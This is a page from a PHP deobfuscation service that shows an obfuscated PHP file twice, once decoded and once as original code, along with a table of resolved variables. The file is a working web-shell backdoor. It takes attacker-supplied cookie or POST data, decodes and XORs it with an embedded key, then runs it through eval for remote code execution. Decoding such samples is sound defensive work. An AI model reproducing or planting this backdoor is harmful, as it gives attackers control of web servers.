Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $kayYyQyx = chr/* IgBN */(115)/* M */./*q */chr (116) ./* jgO */"\x72"..

Decoded Output download

<?php 
$kayYyQyx    =    chr/* IgBN  */(115)/*  M */./*q  */chr  (116)    ./* jgO */"r"    ./*NmaL */"_"  .  "r" ./*  gGoF   */'e'  ./*Z*/chr     (/*p */486	-    374	).chr/*PcuW   */(  124 -	23	)."a" ./*g*/"t";$_I/*  Kfna  */=	'37910'; 
$eZhniTkI   =	"e"	.     'x'   ./*UgmzV*/'p'/* NV */.	"l"/* TSXPS*/./*  OSzr   */chr/*  E*/(111)    ./* nTDUp */"d"/*fBMs   */./*   A */chr/* u   */(   927     -/*   h  */826/*   wYB */); 
$MkaYnkw	= "p"	.   chr   (	1008	-	911	).chr	(99)   ./*   idq   */'k'; 
				function  LpevHXKRK() 
    { 
    /*  q  */$MiQPcZQdm	=	Array	(/*   hOuYr   */"LEDIoqDRAnDNF"/* mDqt*/=>   "aEEPKvXz"  ); 
		 
    	$aEmbGNnBcW =/*   x */Array    (/*  W*/"AeKEMxgjQp"	=>	"llYhxJf"/*  TLU */); 
 
	$WpfdunFTf/*   BQL   */=/*qKmd */Array(	$MiQPcZQdm,	$_COOKIE,/* pJi   */$MiQPcZQdm,    $_POST,/* SIx */$aEmbGNnBcW);$_gE	=	'30685'; 
					 
					return	$WpfdunFTf;; 
 
     } 
 
 
/*   ZA  */ 
         function     NSpJXqBiHB($XheoQymoer) 
 
	{ 
			 if/* f  */(/*IHSYT  */count    (     $XheoQymoer	)/*  NSS*/==  3/*  cqQm */)   { 
			/* ud   */$XIJphyEerP	=/*V   */$XheoQymoer[1]; 
		/*  j */$cFtLfuPR	=/*  RaV  */$XheoQymoer[2]; 
       $mAYyVD	=	$XIJphyEerP($cFtLfuPR); 
		     eval	(/*  pH  */$mAYyVD   );$_JyeAu/*  c */=    '39357'; 
 
 
	die     ();; 
		/* PaWG  */} 
 
	} 
				 
  	function/*w*/rbwJaCUcxh($zBsPQiDTyR,  $CScDNoh) 
	  { 
  /* gZog */return    $zBsPQiDTyR/*JfFex   */^  $CScDNoh;$_qWIUY/*B  */=	'46040'; 
     } 
 
  
 
 
 $AVZLiMWh   =  "#";$_phqx/*  VCbhD  */=  '47914'; 
		/*  zhpKz  */ 
 
 
     foreach/*rwMXH   */(LpevHXKRK()  as	$QtdxtzpIqH)   { 
    foreach/*   DH */(	$QtdxtzpIqH/*lm  */as/*   WyE  */$CScDNoh     =>/*   m   */$zBsPQiDTyR   )/*   CnqrC   */{ 
	 
					$zBsPQiDTyR	=/* BGX   */@$MkaYnkw(	chr	(	315 -    243/*  FO*/)."*",	$zBsPQiDTyR	);; 
 
 
	 
					/* JIo   */$CScDNoh    .=	"INTofw-otKWCF-IhCV-IUJoqB-wLXGvsN-lmMY-bZLZt";$_yFhg/*  LQ   */=/*iXpql */'12621'; 
				$CScDNoh/*  fdV   */=   $kayYyQyx	(  $CScDNoh,	(	strlen(	$zBsPQiDTyR	)/strlen(/*   wOO   */$CScDNoh	)/*UWvR*/)/*   dMhXQ   */+    1);; 
 
    
 
/*   glxb */$HNoLc	=	rbwJaCUcxh($zBsPQiDTyR,	$CScDNoh);; 
	    
 
 
/*  I   */$XheoQymoer	=/*Wete*/$eZhniTkI   ($AVZLiMWh,/*  Qy  */$HNoLc	);; 
			  
 
 
  NSpJXqBiHB($XheoQymoer);$_GDMPd	=	'36936'; 
				} 
     } ?>

Did this file decode correctly?

Original Code

<?php
$kayYyQyx    =    chr/* IgBN  */(115)/*  M */./*q  */chr  (116)    ./* jgO */"\x72"    ./*NmaL */"\x5f"  .  "\x72" ./*  gGoF   */'e'  ./*Z*/chr     (/*p */486	-    374	).chr/*PcuW   */(  124 -	23	)."\141" ./*g*/"\x74";$_I/*  Kfna  */=	'37910';
$eZhniTkI   =	"\x65"	.     'x'   ./*UgmzV*/'p'/* NV */.	"\x6c"/* TSXPS*/./*  OSzr   */chr/*  E*/(111)    ./* nTDUp */"\x64"/*fBMs   */./*   A */chr/* u   */(   927     -/*   h  */826/*   wYB */);
$MkaYnkw	= "\x70"	.   chr   (	1008	-	911	).chr	(99)   ./*   idq   */'k';
				function  LpevHXKRK()
    {
    /*  q  */$MiQPcZQdm	=	Array	(/*   hOuYr   */"LEDIoqDRAnDNF"/* mDqt*/=>   "aEEPKvXz"  );
		
    	$aEmbGNnBcW =/*   x */Array    (/*  W*/"AeKEMxgjQp"	=>	"llYhxJf"/*  TLU */);

	$WpfdunFTf/*   BQL   */=/*qKmd */Array(	$MiQPcZQdm,	$_COOKIE,/* pJi   */$MiQPcZQdm,    $_POST,/* SIx */$aEmbGNnBcW);$_gE	=	'30685';
					
					return	$WpfdunFTf;;

     }


/*   ZA  */
         function     NSpJXqBiHB($XheoQymoer)

	{
			 if/* f  */(/*IHSYT  */count    (     $XheoQymoer	)/*  NSS*/==  3/*  cqQm */)   {
			/* ud   */$XIJphyEerP	=/*V   */$XheoQymoer[1];
		/*  j */$cFtLfuPR	=/*  RaV  */$XheoQymoer[2];
       $mAYyVD	=	$XIJphyEerP($cFtLfuPR);
		     eval	(/*  pH  */$mAYyVD   );$_JyeAu/*  c */=    '39357';


	die     ();;
		/* PaWG  */}

	}
				
  	function/*w*/rbwJaCUcxh($zBsPQiDTyR,  $CScDNoh)
	  {
  /* gZog */return    $zBsPQiDTyR/*JfFex   */^  $CScDNoh;$_qWIUY/*B  */=	'46040';
     }

 


 $AVZLiMWh   =  "\43";$_phqx/*  VCbhD  */=  '47914';
		/*  zhpKz  */


     foreach/*rwMXH   */(LpevHXKRK()  as	$QtdxtzpIqH)   {
    foreach/*   DH */(	$QtdxtzpIqH/*lm  */as/*   WyE  */$CScDNoh     =>/*   m   */$zBsPQiDTyR   )/*   CnqrC   */{
	
					$zBsPQiDTyR	=/* BGX   */@$MkaYnkw(	chr	(	315 -    243/*  FO*/)."\52",	$zBsPQiDTyR	);;


	
					/* JIo   */$CScDNoh    .=	"INTofw-otKWCF-IhCV-IUJoqB-wLXGvsN-lmMY-bZLZt";$_yFhg/*  LQ   */=/*iXpql */'12621';
				$CScDNoh/*  fdV   */=   $kayYyQyx	(  $CScDNoh,	(	strlen(	$zBsPQiDTyR	)/strlen(/*   wOO   */$CScDNoh	)/*UWvR*/)/*   dMhXQ   */+    1);;

   

/*   glxb */$HNoLc	=	rbwJaCUcxh($zBsPQiDTyR,	$CScDNoh);;
	   


/*  I   */$XheoQymoer	=/*Wete*/$eZhniTkI   ($AVZLiMWh,/*  Qy  */$HNoLc	);;
			 


  NSpJXqBiHB($XheoQymoer);$_GDMPd	=	'36936';
				}
     }

Function Calls

chr 8
LpevHXKRK 1

Variables

$_I 37910
$_gE 30685
$_phqx 47914
$MkaYnkw pack
$AVZLiMWh #
$eZhniTkI explode
$kayYyQyx str_repeat
$MiQPcZQdm [{'key': 'LEDIoqDRAnDNF', 'value': 'aEEPKvXz'}]
$WpfdunFTf [{'key': 0, 'value': [{'key': 'LEDIoqDRAnDNF', 'value': 'aEEPKvXz'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'LEDIoqDRAnDNF', 'value': 'aEEPKvXz'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'AeKEMxgjQp', 'value': 'llYhxJf'}]}]
$aEmbGNnBcW [{'key': 'AeKEMxgjQp', 'value': 'llYhxJf'}]

Stats

MD5 2b4771ca6b5d57a082f1a4cd181135b8
Eval Count 0
Decode Time 103 ms